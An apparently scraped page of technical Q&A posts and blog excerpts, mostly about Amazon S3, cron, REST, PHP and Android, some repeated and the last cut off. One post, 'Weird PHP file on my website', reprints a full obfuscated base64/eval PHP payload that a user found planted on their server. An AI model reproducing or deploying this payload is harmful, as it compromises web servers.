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  • How do I implement configurations and settings?

    - by Malvolio
    I'm writing a system that is deployed in several places and each site needs its own configurations and settings. A "configuration" is a named value that is necessary to a particular site (e.g., the database URL, S3 bucket name); every configuration is necessary, there is not usually a default, and it's typically string-valued. A setting is a named value but it just tweaks the behavior of the system; it's often numeric or Boolean, and there's usually some default. So far, I've been using property files or thing like them, but it's a terrible solution. Several times, a developer has added a requirement for a configuration but not added the value to file for the live configuration, so the new release passed all the tests, then failed when released to live. Better, of course, for every file to be compiled — so if there's a missing configuration, or one of the wrong type, it won't get past the compiler — and inject the site-specific class into the build for each site. As a bones, a Scala file can easy model more complex values, especially lists, but also maps and tuples. The downside is, the files are sometimes maintained by people who aren't developers, so it has to be pretty self-explanatory, which was the advantage of property files. (Someone explain XML configurations to me: all the complexity of a compilable file but the run-time risk of a property file.) What I'm looking for is an easy pattern for defining a group required names and allowable values. Any suggestions?

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  • Should I use a regular server instead of AWS?

    - by Jon Ramvi
    Reading about and using the Amazon Web Services, I'm not really able to grasp how to use it correctly. Sorry about the long question: I have a EC2 instance which mostly does the work of a web server (apache for file sharing and Tomcat with Play Framework for the web app). As it's a web server, the instance is running 24/7. It just came to my attention that the data on the EC2 instance is non persistent. This means I lose my database and files if it's stopped. But I guess it also means my server settings and installed applications are lost as they are just files in the same way as the other data. This means that I will either have to rewrite the whole app to use amazon CloudDB or write some code which stores the db on S3 and make my own AMI with the correct applications installed and configured. Or can this be quick-fixed by using EBS somehow? My question is 1. is my understanding of aws is correct? and 2. is it's worth it? It could be a possibility to just set up a regular dedicated server where everything is persistent, as you would expect. Would love to have the scaleability of aws though..

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  • Weird PHP file on my website

    - by sam
    Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does! <?php $k='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';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k))); When I run it it just outputs some random stuff I don't understand. My questions: What is this? Where did it come from? Is it a virus/trojan? What does it exactly do? You are better at PHP than me, maybe you can tell what it is Thanks in advance

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  • Undesired Output of Crontab Job Using CURL

    - by Russell C.
    I have written a perl script that runs as a daily crontab job that uploads files to Amazon S3 via CURL. I want the output of the cron job emailed to me which works fine but I don't want that email to include messages related to the CURL upload (only those message my script is outputting). Here are the CURL related messages I'm seeing in the daily email right now: % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 230M 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 230M 0 0 0 544k 0 1519k 0:02:35 --:--:-- 0:02:35 1807k 0 230M 0 0 0 1744k 0 1286k 0:03:03 0:00:01 0:03:02 1342k 1 230M 0 0 1 2880k 0 1219k 0:03:13 0:00:02 0:03:11 1250k 1 230M 0 0 1 4016k 0 1198k 0:03:17 0:00:03 0:03:14 1218k 2 230M 0 0 2 5168k 0 1186k 0:03:19 0:00:04 0:03:15 1202k 2 230M 0 0 2 6336k 0 1181k 0:03:19 0:00:05 0:03:14 1157k 3 230M 0 0 3 7488k 0 1177k 0:03:20 0:00:06 0:03:14 1147k 3 230M 0 0 3 8592k 0 1167k 0:03:22 0:00:07 0:03:15 1142k 4 230M 0 0 4 9744k 0 1166k 0:03:22 0:00:08 0:03:14 1145k 4 230M 0 0 4 10.6M 0 1163k 0:03:23 0:00:09 0:03:14 1142k 5 230M 0 0 5 11.7M 0 1161k 0:03:23 0:00:10 0:03:13 1140k 5 230M 0 0 5 12.8M 0 1158k 0:03:23 0:00:11 0:03:12 1133k 6 230M 0 0 6 13.9M 0 1155k 0:03:24 0:00:12 0:03:12 1138k 6 230M 0 0 6 15.0M 0 1155k 0:03:24 0:00:13 0:03:11 1138k 7 230M 0 0 7 16.1M 0 1152k 0:03:25 0:00:14 0:03:11 1131k 7 230M 0 0 7 17.2M 0 1152k 0:03:25 0:00:15 0:03:10 1132k 7 230M 0 0 7 18.4M 0 1152k 0:03:24 0:00:16 0:03:08 1140k I am using a simple Perl system() call to invoke CURL. Does anyone know what command line argument I can supply CURL to turn off the reporting of the upload progress? Thanks in advance for your help!

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  • Understanding REST: is GET fundamentally incompatible with any "number of views" counter?

    - by cocotwo
    I'm trying to understand REST. Under REST a GET must not trigger something transactional on the server (this is a definition everybody agrees upon, it is fundamental to REST). So imagine you've got a website like stackoverflow.com (I say like so if I got the underlying details of SO wrong it doesn't change anything to my question), where everytime someone reads a question, using a GET, there's also some display showing "This question has been read 256 times". Now someone else reads that question. The counter now is at 257. The GET is transactional because the number of views got incremented and is now incremented again. The "number of views" is incremented in the DB, there's no arguing about that (for example on SO the number of time any question has been viewed is always displayed). So, is a REST GET fundamentally incompatible with any kind of "number of views" like functionality in a website? So should it want to be "RESTFUL", should the SO main page either stop display plain HTML links that are accessed using GETs or stop displaying the "this question has been viewed x times"? Because incrementing a counter in a DB is transactional and hence "unrestful"? EDIT just so that people Googling this can get some pointers: From http://www.xfront.com/REST-Web-Services.html : 4. All resources accessible via HTTP GET should be side-effect free. That is, the request should just return a representation of the resource. Invoking the resource should not result in modifying the resource. Now to me if the representation contains the "number of views", it is part of the resource [and in SO the "number of views" a question has is a very important information] and accessing it definitely modifies the resource. This is in sharp contrast with, say, a true RESTFUL HTTP GET like the one you can make on an Amazon S3 resource, where your GET is guaranteed not to modify the resource you get back. But then I'm still very confused.

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  • How can I keep curl output out of mail from my cronjob?

    - by Russell C.
    I have written a Perl script that runs as a daily crontab job that uploads files to Amazon S3 via CURL. I want the output of the cron job emailed to me which works fine but I don't want that email to include messages related to the CURL upload (only those message my script is outputting). Here are the CURL related messages I'm seeing in the daily email right now: % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 230M 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 230M 0 0 0 544k 0 1519k 0:02:35 --:--:-- 0:02:35 1807k 0 230M 0 0 0 1744k 0 1286k 0:03:03 0:00:01 0:03:02 1342k 1 230M 0 0 1 2880k 0 1219k 0:03:13 0:00:02 0:03:11 1250k 1 230M 0 0 1 4016k 0 1198k 0:03:17 0:00:03 0:03:14 1218k 2 230M 0 0 2 5168k 0 1186k 0:03:19 0:00:04 0:03:15 1202k 2 230M 0 0 2 6336k 0 1181k 0:03:19 0:00:05 0:03:14 1157k 3 230M 0 0 3 7488k 0 1177k 0:03:20 0:00:06 0:03:14 1147k 3 230M 0 0 3 8592k 0 1167k 0:03:22 0:00:07 0:03:15 1142k 4 230M 0 0 4 9744k 0 1166k 0:03:22 0:00:08 0:03:14 1145k 4 230M 0 0 4 10.6M 0 1163k 0:03:23 0:00:09 0:03:14 1142k 5 230M 0 0 5 11.7M 0 1161k 0:03:23 0:00:10 0:03:13 1140k 5 230M 0 0 5 12.8M 0 1158k 0:03:23 0:00:11 0:03:12 1133k 6 230M 0 0 6 13.9M 0 1155k 0:03:24 0:00:12 0:03:12 1138k 6 230M 0 0 6 15.0M 0 1155k 0:03:24 0:00:13 0:03:11 1138k 7 230M 0 0 7 16.1M 0 1152k 0:03:25 0:00:14 0:03:11 1131k 7 230M 0 0 7 17.2M 0 1152k 0:03:25 0:00:15 0:03:10 1132k 7 230M 0 0 7 18.4M 0 1152k 0:03:24 0:00:16 0:03:08 1140k I am using a simple Perl system() call to invoke CURL. Does anyone know what command line argument I can supply CURL to turn off the reporting of the upload progress?

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  • Scalability 101: How can I design a scalable web application using PHP?

    - by Legend
    I am building a web-application and have a couple of quick questions. From what I learnt, one should not worry about scalability when initially building the app and should only start worrying when the traffic increases. However, this being my first web-application, I am not quite sure if I should take an approach where I design things in an ad-hoc manner and later "fix" them. I have been reading stories about how people start off with an app that gets millions of users in a week or two. Not that I will face the same situation but I can't help but wonder, how do these people do it? Currently, I bought a shared hosting account on Lunarpages and that got me started in building and testing the application. However, I am interested in learning how to build the same application in a scalable-manner using the cloud, for instance, Amazon's EC2. From my understanding, I can see a couple of components: There is a load balancer that first receives requests and then decides where to route each request This request is then handled by a server replica that then processes the request and updates (if required) the database and sends back the response to the client If a similar request comes in, then a caching mechanism like memcached kicks into picture and returns objects from the cache A blackbox that handles database replication Specifically, I am trying to do the following: Setting up a load balancer (my homework revealed that HAProxy is one such load balancer) Setting up replication so that databases can be synchronized Using memcached Configuring Apache to work with multiple web servers Partitioning application to use Amazon EC2 and Amazon S3 (my application is something that will need great deal of storage) Finally, how can I avoid burning myself when using Amazon services? Because this is just a learning phase, I can probably do with 2-3 servers with a simple load balancer and replication but until I want to avoid paying loads of money accidentally. I am able to find resources on individual topics but am unable to find something that starts off from the big picture. Can someone please help me get started?

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  • How to control access to third party HTML pages

    - by Wylie
    Hello, We have a Learning Management System (LMS) that runs on its own server (IIS/Server 2003). Students must login with Forms authentication to gain access to the content. We want to offer access to third party flash and audio that is embedded in HTML pages hosted on the third party server (IIS/Server 2003). Currently we use a frame in a pop-up window that is populated via a simple URL to the third party HTML pages. How can the third party control access to their content, so that only students who launch the pop-up windows from our site can access their content? Since the content is mostly video and flash, we would prefer not to stream all of their content through our server to the Student. We have a programming staff, so we could maybe... - either post or get for our HTTP request to the third party server - we could use SSL - we could programmatically assign a global NT user account to all of our users and then do some kind of Active Directory login from the LMS server to the third party server - could the third party content be hosted at Amazon S3? Would this allow for secure access/download? These are just ideas. We really have no idea. Any suggestions would be greatly appreciated. TIA, Wylie

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  • Framework/service for hosting and managing files

    - by Peteris Caune
    Hi, in a webapp I'm building there is a planned side feature of supporting product illustrations and manuals (so pictures and PDFs), possibly arranged in galleries. As I'd rather not implement from scratch all of the uploading, managing and serving of this content, I'm looking for existing solutions which I could integrate. For example, I'm considering Flickr--users of webapp specify their Flickr username and then use some naming convention to link objects in my webapp with pictures uploaded in their Flickr account. Very little code to write from my side, maybe just some API calls that proxy Flickr APIs, since Flickr would handle picture uploading, organizing them in sets, storing them in cloud and serving them in various sizes etc. One drawback here is that either all of the the pictures are public or I have to deal with interactive Flickr authorization. Also not sure if Flickr would be happy being used in such manner. What other online services or libraries/frameworks I should look at? My webapp is written in Python/Pylons, so Python libraries would be preferred. I'm already using some of Amazon infrastructure, so frontends to Amazon S3 would be cool. For online services, RESTful API would be nice.

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  • Camera crashes in android 4.1(API level 16)

    - by Lincy
    My application has a camera functionality. It works fine in all Android version but now when i tested in S3 it crashes. The error points to this line: Parameters parameters = mCamera.getParameters(); Could someone provide a solution for this? The log is below: ?:??: W/?(?): java.lang.NullPointerException ?:??: W/?(?): at com.stpl.snapshun.camera.CameraActivity.surfaceChanged(CameraActivity.java:313) ?:??: W/?(?): at android.view.SurfaceView.updateWindow(SurfaceView.java:554) ?:??: W/?(?): at android.view.SurfaceView.access$000(SurfaceView.java:81) ?:??: W/?(?): at android.view.SurfaceView$3.onPreDraw(SurfaceView.java:169) ?:??: W/?(?): at android.view.ViewTreeObserver.dispatchOnPreDraw(ViewTreeObserver.java:671) ?:??: W/?(?): at android.view.ViewRootImpl.performTraversals(ViewRootImpl.java:1818) ?:??: W/?(?): at android.view.ViewRootImpl.doTraversal(ViewRootImpl.java:998) ?:??: W/?(?): at android.view.ViewRootImpl$TraversalRunnable.run(ViewRootImpl.java:4212) ?:??: W/?(?): at android.view.Choreographer$CallbackRecord.run(Choreographer.java:725) ?:??: W/?(?): at android.view.Choreographer.doCallbacks(Choreographer.java:555) ?:??: W/?(?): at android.view.Choreographer.doFrame(Choreographer.java:525) ?:??: W/?(?): at android.view.Choreographer$FrameDisplayEventReceiver.run(Choreographer.java:711) ?:??: W/?(?): at android.os.Handler.handleCallback(Handler.java:615) ?:??: W/?(?): at android.os.Handler.dispatchMessage(Handler.java:92) ?:??: W/?(?): at android.os.Looper.loop(Looper.java:137) ?:??: W/?(?): at android.app.ActivityThread.main(ActivityThread.java:4745) ?:??: W/?(?): at java.lang.reflect.Method.invokeNative(Native Method) ?:??: W/?(?): at java.lang.reflect.Method.invoke(Method.java:511) ?:??: W/?(?): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:786) ?:??: W/?(?): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:553) ?:??: W/?(?): at dalvik.system.NativeStart.main(Native Method) Thanks in advance

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  • limiting mysql results by range of a specific key INCLUDING DUPLICATES

    - by aVC
    I have a query SELECT p.*, m.*, (SELECT COUNT(*) FROM newPhotoonAlert n WHERE n.userIDfor='$id' AND n.threadID=p.threadID and n.seen='0') AS unReadCount FROM posts p JOIN myMembers m ON m.id = p.user_id LEFT JOIN following f ON (p.user_id = f.user_id AND f.follower_id='$id' AND f.request='0' AND f.status='1') JOIN myMembers searcher ON searcher.id = '$id' WHERE ((f.follower_id = searcher.id) OR m.id='$id') AND p.flagged <'5' ORDER BY p.threadID DESC,p.positionID It brings result as expected but I want to add Another CLAUSE to limit the results. Say a sample (minimal shown) set of data looks like this with the above query. threadID postID positionID url 564 1254 2 a.com 564 1245 1 a1.com 541 1215 3 b1.com 541 1212 2 b2.com 541 1210 1 b3.com 523 745 1 c1.com 435 689 2 d2.com 435 688 1 a4.com 256 345 1 s3.com 164 316 1 f1.com . . I want to get ROWS corresponding to 2 DISTINCT threadIDs starting from MAX, but I want to include duplicates as well. Something like AND p.threadID IN (Select just Two of all threadIDs currently selected, but include duplicate rows) So my result should be threadID postID positionID url 564 1254 2 a.com 564 1245 1 a1.com 541 1215 3 b1.com 541 1212 2 b2.com 541 1210 1 b3.com

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  • SQLAuthority News – Android Efficiency Tips and Tricks – Personal Technology Tip #003

    - by pinaldave
    I use my phone for lots of things.  I use it mainly to replace my tablet – I can e-mail, take and edit photos, and do almost everything I can do on a laptop with this phone.  And I am sure that there are many of you out there just like me.  I personally have a Galaxy S3, which uses the Android operating system, and I have decided to feature it as the third installment of my Technology Tips and Tricks series. 1) Shortcut to your favorite contacts on home screen Access your most-called contacts easily from your home screen by holding your finger on any empty spot on the home screen.  A menu will pop up that allows you to choose Shortcuts, and Contact.  You can scroll through your contact list and then just tap on the name of the person you want to be able to dial with a single click. 2) Keep track of your data usage Yes, we all should keep a close eye on our data usage, because it is very easy to go over our limits and then end up with a giant bill at the end of the month.  Never get surprised when you open that mobile phone envelope again.  Go to Settings, then Data Usage, and you can find a quick rundown of your usage, how much data each app uses, and you can even set alarms to let you know when you are nearing the limits.   Better yet, you can set the phone to stop using data when it reaches a certain limit. 3) Bring back Good Grammar We often hear proclamations about the downfall of written language, and how texting abbreviations, misspellings, and lack of punctuation are the root of all evil.  Well, we can show all those doomsdayers that all is not lost by bringing punctuation back to texting.  Usually we leave it off when we text because it takes too long to get to the screen with all the punctuation options.  But now you can hold down the period (or “full stop”) button and a list of all the commonly-used punctuation marks will pop right up. 4) Apps, Apps, Apps and Apps And finally, I cannot end an article about smart phones without including a list of my favorite apps.  Here are a list of my Top 10 Applications on my Android (not counting social media apps). Advanced Task Killer – Keeps my phone snappy by closing un-necessary apps WhatsApp - my favorite alternate to Text SMS Flipboard - my ‘timepass’ moments Skype – keeps me close to friends and family GoogleMaps - I am never lost because of this one thing Amazon Kindle – Books my best friends DropBox - My data always safe Pluralsight Player – Learning never stops for me Samsung Kies Air – Connecting Phone to Computer Chrome – Replacing default browser I have not included any social media applications in the above list, but you can be sure that I am linked to Twitter, Facebook, Google+, LinkedIn, and YouTube. Reference: Pinal Dave (http://blog.SQLAuthority.com)   Filed under: Best Practices, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, SQLAuthority News, T SQL, Technology Tagged: Android, Personal Technology

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  • Backing up my Windows Home Server to the Cloud&hellip;

    - by eddraper
    Ok, here’s my scenario: Windows Home Server with a little over 3TB of storage.  This includes many years of our home network’s PC backups, music, videos, etcetera. I’d like to get a backup off-site, and the existing APIs and apps such as CloudBerry Labs WHS Backup service are making it easy.  Now, all it’s down to is vendor and the cost of the actual storage.   So,  I thought I’d take a lazy Saturday morning and do some research on this and get the ball rolling.  What I discovered stunned me…   First off, the pricing for just about everything was loaded with complexity.  I learned that it wasn’t just about storage… it was about network usage, requests, sites, replication, and on and on. I really don’t see this as rocket science.  I have a disk image.  I want to put it in the cloud.  I’m not going to be be using it but once daily for incremental backups.  Sounds like a common scenario.  Yes, if “things get real” and my server goes down, I will need to bring down a lot of data and utilize a fair amount of vendor infrastructure.  However, this may never happen.  Offsite storage is an insurance policy.   The complexity of the cost structures, perhaps by design, create an environment where it’s incredibly hard to model bottom line costs and compare vendor all-up pricing.  As it is a “lazy Saturday morning,” I’m not in the mood for such antics and I decide to shirk the endeavor entirely.  Thus, I decided to simply fire up calc.exe and do some a simple arithmetic model based on price per GB.  I shuddered at the results.  Certainly something was wrong… did I misplace a decimal point?  Then I discovered CloudBerry’s own calculator.   Nope, I hadn’t misplaced those decimals after all.  Check it out (pricing based on 3174 GB):   Amazon S3 $398.00 per month $4761 per year Azure $396.75 per month $4761 per year Google $380.88 per month $4570.56 per year   Conclusion: Rampant crack smoking at vendors.  Seriously.  Out. Of. Their. Minds. Now, to Amazon’s credit, vision, and outright common sense, they had one offering which directly addresses my scenario:   Amazon Glacier $31.74 per month $380.88 per year   hmmm… It’s on the table.  Let’s see what it would cost to just buy some drives, an enclosure and cart them over to a friend’s house.   2 x 2TB Drives from NewEgg.com $199.99   Enclosure $39.99     $239.98   Carting data to back and forth to friend’s within walking distance pain   Leave drive unplugged at friend’s $0 for electricity   Possible data loss No way I can come and go every day.     I think I’ll think on this a bit more…

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  • SQLAuthority News – Android Efficiency Tips and Tricks – Personal Technology Tip

    - by pinaldave
    I use my phone for lots of things.  I use it mainly to replace my tablet – I can e-mail, take and edit photos, and do almost everything I can do on a laptop with this phone.  And I am sure that there are many of you out there just like me.  I personally have a Galaxy S3, which uses the Android operating system, and I have decided to feature it as the third installment of my Technology Tips and Tricks series. 1) Shortcut to your favorite contacts on home screen Access your most-called contacts easily from your home screen by holding your finger on any empty spot on the home screen.  A menu will pop up that allows you to choose Shortcuts, and Contact.  You can scroll through your contact list and then just tap on the name of the person you want to be able to dial with a single click. 2) Keep track of your data usage Yes, we all should keep a close eye on our data usage, because it is very easy to go over our limits and then end up with a giant bill at the end of the month.  Never get surprised when you open that mobile phone envelope again.  Go to Settings, then Data Usage, and you can find a quick rundown of your usage, how much data each app uses, and you can even set alarms to let you know when you are nearing the limits.   Better yet, you can set the phone to stop using data when it reaches a certain limit. 3) Bring back Good Grammar We often hear proclamations about the downfall of written language, and how texting abbreviations, misspellings, and lack of punctuation are the root of all evil.  Well, we can show all those doomsdayers that all is not lost by bringing punctuation back to texting.  Usually we leave it off when we text because it takes too long to get to the screen with all the punctuation options.  But now you can hold down the period (or “full stop”) button and a list of all the commonly-used punctuation marks will pop right up. 4) Apps, Apps, Apps and Apps And finally, I cannot end an article about smart phones without including a list of my favorite apps.  Here are a list of my Top 10 Applications on my Android (not counting social media apps). Advanced Task Killer – Keeps my phone snappy by closing un-necessary apps WhatsApp - my favorite alternate to Text SMS Flipboard - my ‘timepass’ moments Skype – keeps me close to friends and family GoogleMaps - I am never lost because of this one thing Amazon Kindle – Books my best friends DropBox - My data always safe Pluralsight Player – Learning never stops for me Samsung Kies Air – Connecting Phone to Computer Chrome – Replacing default browser I have not included any social media applications in the above list, but you can be sure that I am linked to Twitter, Facebook, Google+, LinkedIn, and YouTube. Reference: Pinal Dave (http://blog.SQLAuthority.com)   Filed under: Best Practices, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, SQLAuthority News, T SQL, Technology Tagged: Android, Personal Technology

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  • How John Got 15x Improvement Without Really Trying

    - by rchrd
    The following article was published on a Sun Microsystems website a number of years ago by John Feo. It is still useful and worth preserving. So I'm republishing it here.  How I Got 15x Improvement Without Really Trying John Feo, Sun Microsystems Taking ten "personal" program codes used in scientific and engineering research, the author was able to get from 2 to 15 times performance improvement easily by applying some simple general optimization techniques. Introduction Scientific research based on computer simulation depends on the simulation for advancement. The research can advance only as fast as the computational codes can execute. The codes' efficiency determines both the rate and quality of results. In the same amount of time, a faster program can generate more results and can carry out a more detailed simulation of physical phenomena than a slower program. Highly optimized programs help science advance quickly and insure that monies supporting scientific research are used as effectively as possible. Scientific computer codes divide into three broad categories: ISV, community, and personal. ISV codes are large, mature production codes developed and sold commercially. The codes improve slowly over time both in methods and capabilities, and they are well tuned for most vendor platforms. Since the codes are mature and complex, there are few opportunities to improve their performance solely through code optimization. Improvements of 10% to 15% are typical. Examples of ISV codes are DYNA3D, Gaussian, and Nastran. Community codes are non-commercial production codes used by a particular research field. Generally, they are developed and distributed by a single academic or research institution with assistance from the community. Most users just run the codes, but some develop new methods and extensions that feed back into the general release. The codes are available on most vendor platforms. Since these codes are younger than ISV codes, there are more opportunities to optimize the source code. Improvements of 50% are not unusual. Examples of community codes are AMBER, CHARM, BLAST, and FASTA. Personal codes are those written by single users or small research groups for their own use. These codes are not distributed, but may be passed from professor-to-student or student-to-student over several years. They form the primordial ocean of applications from which community and ISV codes emerge. Government research grants pay for the development of most personal codes. This paper reports on the nature and performance of this class of codes. Over the last year, I have looked at over two dozen personal codes from more than a dozen research institutions. The codes cover a variety of scientific fields, including astronomy, atmospheric sciences, bioinformatics, biology, chemistry, geology, and physics. The sources range from a few hundred lines to more than ten thousand lines, and are written in Fortran, Fortran 90, C, and C++. For the most part, the codes are modular, documented, and written in a clear, straightforward manner. They do not use complex language features, advanced data structures, programming tricks, or libraries. I had little trouble understanding what the codes did or how data structures were used. Most came with a makefile. Surprisingly, only one of the applications is parallel. All developers have access to parallel machines, so availability is not an issue. Several tried to parallelize their applications, but stopped after encountering difficulties. Lack of education and a perception that parallelism is difficult prevented most from trying. I parallelized several of the codes using OpenMP, and did not judge any of the codes as difficult to parallelize. Even more surprising than the lack of parallelism is the inefficiency of the codes. I was able to get large improvements in performance in a matter of a few days applying simple optimization techniques. Table 1 lists ten representative codes [names and affiliation are omitted to 